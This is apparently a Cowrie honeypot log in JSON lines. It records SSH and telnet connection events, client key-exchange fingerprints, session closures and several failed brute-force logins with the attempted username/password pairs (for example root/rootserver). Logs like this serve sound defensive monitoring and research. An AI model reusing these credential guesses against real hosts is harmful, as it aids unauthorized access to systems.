{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:54.316442Z","src_ip":"147.50.231.135","session":"3e32e631a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":55792,"dst_ip":"159.203.135.109","dst_port":23,"session":"073489a5afa0","protocol":"telnet","message":"New connection: 66.111.11.103:55792 (159.203.135.109:23) [session: 073489a5afa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:54.723479Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx!","message":"login attempt [ubuntu/1qaz2wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:55.405278Z","src_ip":"147.50.231.135","session":"3e32e631a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":51050,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3318bee076","protocol":"ssh","message":"New connection: 150.95.157.171:51050 (10.17.0.5:22) [session: fc3318bee076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:55.910913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:55.923343Z","src_ip":"150.95.157.171","session":"fc3318bee076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:56.083352Z","src_ip":"150.95.157.171","session":"fc3318bee076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:56.668376Z","src_ip":"147.50.231.135","session":"3e32e631a5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy12345678","message":"login attempt [deploy/deploy12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:56.754164Z","src_ip":"150.95.157.171","session":"fc3318bee076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:57.917063Z","src_ip":"150.95.157.171","session":"fc3318bee076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":59276,"dst_ip":"159.203.135.109","dst_port":23,"session":"2019bd68db41","protocol":"telnet","message":"New connection: 66.111.11.103:59276 (159.203.135.109:23) [session: 2019bd68db41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:58.309640Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":59148,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4ba00dd425","protocol":"telnet","message":"New connection: 66.111.11.103:59148 (159.203.135.109:23) [session: ca4ba00dd425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:59.090098Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56670,"dst_ip":"159.203.135.109","dst_port":23,"session":"829ae93efffa","protocol":"telnet","message":"New connection: 134.209.8.29:56670 (159.203.135.109:23) [session: 829ae93efffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:59.239350Z"}
{"eventid":"cowrie.session.closed","duration":56.65064883232117,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:00.437889Z","src_ip":"134.209.8.29","session":"c9e58c67d7d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134113550186157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:00.697177Z","src_ip":"66.111.11.103","session":"723fa28d2bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":60392,"dst_ip":"159.203.135.109","dst_port":23,"session":"90dc5c183530","protocol":"telnet","message":"New connection: 66.111.11.103:60392 (159.203.135.109:23) [session: 90dc5c183530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:01.016631Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":33826,"dst_ip":"159.203.135.109","dst_port":23,"session":"89cd9205df2a","protocol":"telnet","message":"New connection: 66.111.11.103:33826 (159.203.135.109:23) [session: 89cd9205df2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:03.235582Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":38334,"dst_ip":"159.203.135.109","dst_port":22,"session":"6852728e6fbd","protocol":"ssh","message":"New connection: 165.22.63.98:38334 (159.203.135.109:22) [session: 6852728e6fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:03.689495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:03.694640Z","src_ip":"165.22.63.98","session":"6852728e6fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:03.933371Z","src_ip":"165.22.63.98","session":"6852728e6fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56662,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8f792d9e644","protocol":"telnet","message":"New connection: 134.209.8.29:56662 (159.203.135.109:23) [session: f8f792d9e644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:04.342135Z"}
{"eventid":"cowrie.session.closed","duration":42.797462701797485,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:04.623828Z","src_ip":"134.209.8.29","session":"dfaa2cf75e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.474766969680786,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:04.714029Z","src_ip":"134.209.8.29","session":"829ae93efffa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootserver","message":"login attempt [root/rootserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:04.921000Z","src_ip":"165.22.63.98","session":"6852728e6fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:06.163708Z","src_ip":"165.22.63.98","session":"6852728e6fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":48064,"dst_ip":"10.17.0.5","dst_port":22,"session":"98da91d788fa","protocol":"ssh","message":"New connection: 148.216.28.11:48064 (10.17.0.5:22) [session: 98da91d788fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:06.306891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:06.315289Z","src_ip":"148.216.28.11","session":"98da91d788fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:06.387790Z","src_ip":"148.216.28.11","session":"98da91d788fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":35306,"dst_ip":"159.203.135.109","dst_port":23,"session":"352cd0cdcffd","protocol":"telnet","message":"New connection: 66.111.11.103:35306 (159.203.135.109:23) [session: 352cd0cdcffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:06.483691Z"}
{"eventid":"cowrie.login.failed","username":"db_user","password":"db_user123","message":"login attempt [db_user/db_user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:06.692525Z","src_ip":"148.216.28.11","session":"98da91d788fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.69.25.47","src_port":40561,"dst_ip":"10.17.0.5","dst_port":23,"session":"517701b7f69b","protocol":"telnet","message":"New connection: 83.69.25.47:40561 (10.17.0.5:23) [session: 517701b7f69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:07.037596Z"}
{"eventid":"cowrie.session.closed","duration":30.75645112991333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:07.679167Z","src_ip":"66.111.11.103","session":"bed144f0672f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:07.764810Z","src_ip":"148.216.28.11","session":"98da91d788fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39522,"dst_ip":"159.203.135.109","dst_port":23,"session":"045f1ccb91cf","protocol":"telnet","message":"New connection: 134.209.8.29:39522 (159.203.135.109:23) [session: 045f1ccb91cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:07.958746Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39536,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1748fc9c002","protocol":"telnet","message":"New connection: 134.209.8.29:39536 (159.203.135.109:23) [session: c1748fc9c002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:08.077670Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39540,"dst_ip":"159.203.135.109","dst_port":23,"session":"6172bd613b1a","protocol":"telnet","message":"New connection: 134.209.8.29:39540 (159.203.135.109:23) [session: 6172bd613b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:08.102440Z"}
{"eventid":"cowrie.session.closed","duration":31.13430690765381,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:09.489068Z","src_ip":"66.111.11.103","session":"76852d919549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.31977653503418,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:09.661763Z","src_ip":"134.209.8.29","session":"f8f792d9e644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.303076028823853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:11.223023Z","src_ip":"66.111.11.103","session":"913b6d9f6a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1537446975708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:14.782674Z","src_ip":"66.111.11.103","session":"3d46c555ba8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.335277557373047,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:16.412809Z","src_ip":"134.209.8.29","session":"c1748fc9c002","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.957494974136353,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:17.916112Z","src_ip":"134.209.8.29","session":"045f1ccb91cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":37820,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e6effab48a","protocol":"ssh","message":"New connection: 34.135.200.178:37820 (10.17.0.5:22) [session: 77e6effab48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:19.260109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:19.265838Z","src_ip":"34.135.200.178","session":"77e6effab48a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:19.303285Z","src_ip":"34.135.200.178","session":"77e6effab48a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p4ssw0rd","message":"login attempt [user/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:19.485999Z","src_ip":"34.135.200.178","session":"77e6effab48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.738362073898315,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:19.775811Z","src_ip":"83.69.25.47","session":"517701b7f69b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:20.525432Z","src_ip":"34.135.200.178","session":"77e6effab48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.523314237594604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:25.246666Z","src_ip":"66.111.11.103","session":"073489a5afa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52572,"dst_ip":"159.203.135.109","dst_port":23,"session":"79be7c99a6f6","protocol":"telnet","message":"New connection: 134.209.8.29:52572 (159.203.135.109:23) [session: 79be7c99a6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:26.669284Z"}
{"eventid":"cowrie.session.closed","duration":30.04443335533142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:29.134429Z","src_ip":"66.111.11.103","session":"ca4ba00dd425","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14305019378662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:29.452572Z","src_ip":"66.111.11.103","session":"2019bd68db41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52586,"dst_ip":"159.203.135.109","dst_port":23,"session":"629118048710","protocol":"telnet","message":"New connection: 134.209.8.29:52586 (159.203.135.109:23) [session: 629118048710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:30.813174Z"}
{"eventid":"cowrie.session.closed","duration":4.562183618545532,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:31.231336Z","src_ip":"134.209.8.29","session":"79be7c99a6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592313051223755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:31.608821Z","src_ip":"66.111.11.103","session":"90dc5c183530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52764,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf66136d89f","protocol":"telnet","message":"New connection: 134.209.8.29:52764 (159.203.135.109:23) [session: 6bf66136d89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:32.148339Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33266,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c7ca7e5b8d","protocol":"telnet","message":"New connection: 38.54.119.93:33266 (10.17.0.5:23) [session: 21c7ca7e5b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:33.028676Z"}
{"eventid":"cowrie.session.closed","duration":2.3165693283081055,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:33.129663Z","src_ip":"134.209.8.29","session":"629118048710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":34122,"dst_ip":"159.203.135.109","dst_port":22,"session":"5790916b55e9","protocol":"ssh","message":"New connection: 78.128.112.74:34122 (159.203.135.109:22) [session: 5790916b55e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:17:34.214832Z"}
